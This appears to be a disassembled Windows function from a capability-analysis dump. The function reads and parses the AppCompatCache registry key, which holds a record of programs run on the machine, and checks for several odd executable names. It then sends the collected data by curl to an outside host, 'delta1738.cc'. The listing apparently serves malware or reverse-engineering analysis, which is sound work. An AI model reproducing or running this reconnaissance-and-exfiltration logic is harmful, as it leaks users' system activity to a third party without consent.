Function at 0x1400020c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf45a0]
mov eax, 0xf46a0
call fcn.140065c60
sub rsp, rax
mov rax, qword [0x1400c6738]
xor rax, rsp
mov qword [rbp + 0xf4590], rax
xor r15d, r15d
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerAppCompatCache
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0xbc], 0x100
mov dword [rbp + 0xb8], 0xf4240
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x350]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xbc]
lea r8, [rbp + 0x150]
xor edx, edx
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
lea rdx, [rbp + 0x150]
lea rcx, [0x1400bb520]
call fcn.140001080
mov edi, dword [rbp + 0x350]
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov qword [rbp + 0xb0], r15
movdqu xmmword [rbp + 0x118], xmm1
mov r14d, r15d
mov qword [rsp + 0x58], r15
mov qword [rbp + 0x128], r15
movdqu xmmword [rbp + 0x100], xmm1
mov esi, r15d
mov qword [rsp + 0x50], r15
mov qword [rbp + 0x110], r15
movdqu xmmword [rbp + 0x50], xmm1
mov qword [rbp + 0x60], r15
movups xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [0x1400bb720]
movdqu xmmword [rbp + 0x140], xmm1
mov byte [rbp + 0x130], r15b
cmp edi, 0xf4240
jae 0x140002968
mov qword [rbp - 0x80], r15
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r15
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rbp + 0xe0], 0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r15
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xd8], r12
mov byte [rbp + 0xc0], 0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov eax, edi
lea rdx, [rbp + 0x350]
add rdx, rax
lea r8d, [r12 - 0xb]
lea rcx, [rsp + 0x60]
call fcn.140005050
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rbp + 0xf0], xmm1
lea rcx, [rbp + 0xe0]
movq rdx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rcx, rdx
movq r8, xmm1
cmp r8, 4
jne 0x14000291d
lea rdx, str.10ts
call fcn.1400682d0
test eax, eax
jne 0x14000291d
add edi, 0xc
movzx r13d, word [rbp + rdi + 0x350]
mov word [rsp + 0x40], r13w
add edi, 2
mov dword [rsp + 0x44], edi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r15
test r13, r13
je 0x140002362
cmp r13, 0x1000
jb 0x140002338
lea rcx, [r13 + 0x27]
cmp rcx, r13
jbe 0x140002d54
call fcn.140065588
test rax, rax
je 0x140002d78
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140002343
mov rcx, r13
call fcn.140065588
mov r14, rax
mov qword [rbp + 0x68], r14
lea rbx, [r14 + r13]
mov qword [rbp + 0x78], rbx
mov r8, r13
xor edx, edx
mov rcx, r14
call fcn.140067ad0
mov qword [rbp + 0x70], rbx
jmp 0x14000236a
mov rbx, qword [rbp + 0x70]
mov r14, qword [rbp + 0x68]
mov eax, edi
lea rdx, [rbp + 0x350]
add rdx, rax
mov r8, r13
mov rcx, r14
call fcn.140067420
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r15
cmp r14, rbx
jne 0x1400023c7
mov rbx, r15
mov qword [rbp + 0x90], rbx
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x98], rsi
mov byte [rbp + 0x80], 0
mov r15, qword [rbp + 0x80]
jmp 0x1400024bb
sub rbx, r14
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140002d8a
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
cmp rbx, 0x10
jae 0x140002421
mov qword [rbp + 0x90], rbx
mov r8, rbx
mov rdx, r14
lea rcx, [rbp + 0x80]
call fcn.140067420
mov rsi, qword [rbp + 0x98]
mov rbx, qword [rbp + 0x90]
mov r15, qword [rbp + 0x80]
jmp 0x1400024bb
mov rsi, rbx
or rsi, 0xf
cmp rsi, rax
jbe 0x140002432
mov rsi, rax
jmp 0x14000243f
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
mov rcx, rsi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002486
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002d5a
mov rcx, rax
call fcn.140065588
test rax, rax
je 0x140002d72
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140002493
test rcx, rcx
je 0x140002493
call fcn.140065588
mov r15, rax
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rsi
mov r8, rbx
mov rdx, r14
mov rcx, r15
call fcn.140067420
mov byte [r15 + rbx], 0
xor ecx, ecx
mov qword [rbp + 0xd0], rcx
mov byte [rbp + 0xc0], cl
xor edi, edi
test rbx, rbx
je 0x14000253f
lea rax, [rbp + 0x80]
cmp rsi, 0x10
cmovae rax, r15
movzx r9d, byte [rax + rdi]
cmp rcx, r12
jae 0x140002513
lea rax, [rcx + 1]
mov qword [rbp + 0xd0], rax
lea rax, [rbp + 0xc0]
cmp r12, 0x10
cmovae rax, qword [rbp + 0xc0]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140002526
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0xc0]
call fcn.1400051e0
add rdi, 2
cmp rdi, rbx
jae 0x14000253f
mov r12, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xd0]
jmp 0x1400024d1
mov ecx, dword [rsp + 0x44]
add ecx, 8
add ecx, r13d
mov ebx, dword [rbp + rcx + 0x350]
mov dword [rsp + 0x48], ebx
add ecx, 4
add ecx, ebx
mov dword [rsp + 0x44], ecx
mov rax, qword [rbp + 0xa8]
cmp rax, qword [rbp + 0xb0]
je 0x140002586
lea rdx, [rbp + 0xe0]
mov rcx, rax
call fcn.140004320
add qword [rbp + 0xa8], 0x20
jmp 0x14000259c
lea r8, [rbp + 0xe0]
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140005d30
mov rax, qword [rbp + 0x120]
cmp rax, qword [rsp + 0x58]
je 0x1400025b9
mov dword [rax], ebx
add rax, 4
mov qword [rbp + 0x120], rax
jmp 0x1400025d9
lea r8, [rsp + 0x48]
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.140005ba0
mov rax, qword [rbp + 0x128]
mov qword [rsp + 0x58], rax
mov rax, qword [rbp + 0x108]
cmp rax, qword [rsp + 0x50]
je 0x1400025f8
mov word [rax], r13w
add rax, 2
mov qword [rbp + 0x108], rax
jmp 0x140002618
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140005a10
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + 0x58]
cmp rax, qword [rbp + 0x60]
je 0x140002638
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.140004320
add qword [rbp + 0x58], 0x20
jmp 0x14000264b
lea r8, [rbp + 0xc0]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140005d30
mov r12, qword [rbp + 0x50]
add r12, qword [rbp - 0x80]
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x48], rax
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
je 0x140002d84
cmp qword [r12 + 0x18], 0x10
jb 0x14000267c
mov r12, qword [r12]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xor edx, edx
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], rdx
lea r13, [rax + 1]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x60]
cmp r13, rbx
jbe 0x14000272d
mov rbx, r13
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400026c6
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400026ed
cmp rbx, 0x16
mov ecx, socket
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002711
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002d66
mov rcx, rax
call fcn.140065588
test rax, rax
je 0x140002d60
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rax, qword [rsp + 0x48]
jmp 0x140002728
test rcx, rcx
je 0x140002725
call fcn.140065588
mov rdi, rax
mov rax, qword [rsp + 0x48]
jmp 0x140002728
mov rdi, rdx
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], rbx
mov r8, rax
mov rdx, r12
mov rcx, rdi
call fcn.140067420
mov rax, qword [rsp + 0x48]
mov byte [rdi + rax], 0xa
mov byte [rdi + r13], 0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jae 0x140002782
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x60]
mov word [rax + rcx], 0xa
jmp 0x140002796
mov r9b, 0xa
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x60]
call fcn.1400051e0
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x68], xmm1
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x130]
call fcn.140004220
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000280c
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002806
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d6c
call fcn.140065580
nop
add qword [rbp - 0x80], 0x20
cmp rsi, 0x10
jb 0x140002849
lea rdx, [rsi + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140002840
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d72
mov rcx, r15
call fcn.140065580
nop
test r14, r14
je 0x140002886
mov rcx, qword [rbp + 0x78]
sub rcx, r14
mov rax, r14
cmp rcx, 0x1000
jb 0x14000287a
add rcx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d78
mov rdx, rcx
mov rcx, r14
call fcn.140065580
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x1400028c8
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d7e
call fcn.140065580
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140002909
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d90
call fcn.140065580
mov edi, dword [rsp + 0x44]
xor r15d, r15d
cmp edi, 0xf4240
jae 0x14000295e
jmp 0x140002210
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x14000295e
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002959
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d90
call fcn.140065580
mov rsi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rax
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x40], xmm1
lea r8d, [rax + 0xb]
lea rdx, str.whatevr.exe
lea rcx, [rbp - 0x50]
call fcn.140005050
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm1
mov r8d, 9
lea rdx, str.realy.exe
lea rcx, [rbp - 0x30]
call fcn.140005050
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.trueprogram.exe
lea rcx, [rbp - 0x10]
call fcn.140005050
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
mov r8d, 8
lea rdx, str.WHAT.exe
lea rcx, [rbp + 0x10]
call fcn.140005050
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r15
mov ecx, 0x80
call fcn.140065588
mov rbx, rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
lea rcx, [rax + 0x80]
mov qword [rbp + 0x48], rcx
lea rax, [rbp + 0x38]
mov qword [rbp - 0x80], rax
lea rdi, [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], rbx
lea rax, [rbp + 0x38]
mov qword [rbp + 0x78], rax
nop word [rax + rax]
mov rdx, rdi
mov rcx, rbx
call fcn.140004320
add rbx, 0x20
mov qword [rbp + 0x70], rbx
add rdi, 0x20
lea rax, [rbp + 0x30]
cmp rdi, rax
jne 0x140002a60
mov rdx, rbx
mov rcx, rbx
call fcn.140005150
mov qword [rbp + 0x40], rbx
lea r9, [0x1400042c0]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp - 0x50]
call fcn.1400655c4
mov ecx, 3
call fcn.1400062b0
call fcn.140006050
mov rdi, rax
test rax, rax
je 0x140002b31
lea r8, str.https:__delta1738.cc
mov edx, 0x2712
mov rcx, rax
call fcn.14000a430
lea r8, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae r8, qword [rbp + 0x130]
mov edx, 0x271f
mov rcx, rdi
call fcn.14000a430
mov rcx, rdi
call fcn.1400060c0
test eax, eax
je 0x140002b29
mov ecx, eax
call fcn.140006cd0
mov rbx, rax
mov ecx, 2
call fcn.14006c274
mov rcx, rax
mov r8, rbx
lea rdx, str.curl_easy_perform___failed:__s_n
call fcn.1400010e0
mov rcx, rdi
call fcn.140006020
call fcn.140006250
call fcn.140001d60
nop
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x140002b93
mov rdx, qword [rbp + 0x40]
call fcn.140005150
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x38]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d90
call fcn.140065580
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r15
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140002bd4
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d96
call fcn.140065580
movdqa xmm0, xmmword [0x1400bb720]
movdqu xmmword [rbp + 0x140], xmm0
mov byte [rbp + 0x130], 0
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x140002c42
mov rdx, qword [rbp + 0x58]
call fcn.140005150
mov rdx, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x50]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d9c
call fcn.140065580
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
mov rcx, qword [rbp + 0x100]
test rcx, rcx
je 0x140002c83
sub rsi, rcx
sar rsi, 1
lea rdx, [rsi + rsi]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002da2
call fcn.140065580
nop
mov rcx, qword [rbp + 0x118]
test rcx, rcx
je 0x140002cc9
sub r14, rcx
sar r14, 2
lea rdx, [r14*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002da8
call fcn.140065580
nop
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x140002d1c
mov rdx, qword [rbp + 0xa8]
call fcn.140005150
mov rdx, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xa0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d4e
call fcn.140065580
xor eax, eax
mov rcx, qword [rbp + 0xf4590]
xor rcx, rsp
call fcn.140065560
lea r11, [rsp + 0xf46a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140072df4
nop
call fcn.140001290
nop
call fcn.140001290
nop
call fcn.140072df4
int3
call fcn.140001290
nop
call fcn.140072df4
nop
call fcn.140072df4
nop
call fcn.140072df4
nop
call fcn.140072df4
nop
call fcn.140001330
nop
call fcn.140001330
nop
call fcn.140072df4
nop
call fcn.140072df4
nop
call fcn.140072df4
nop
call fcn.140072df4
nop
call fcn.140072df4
int3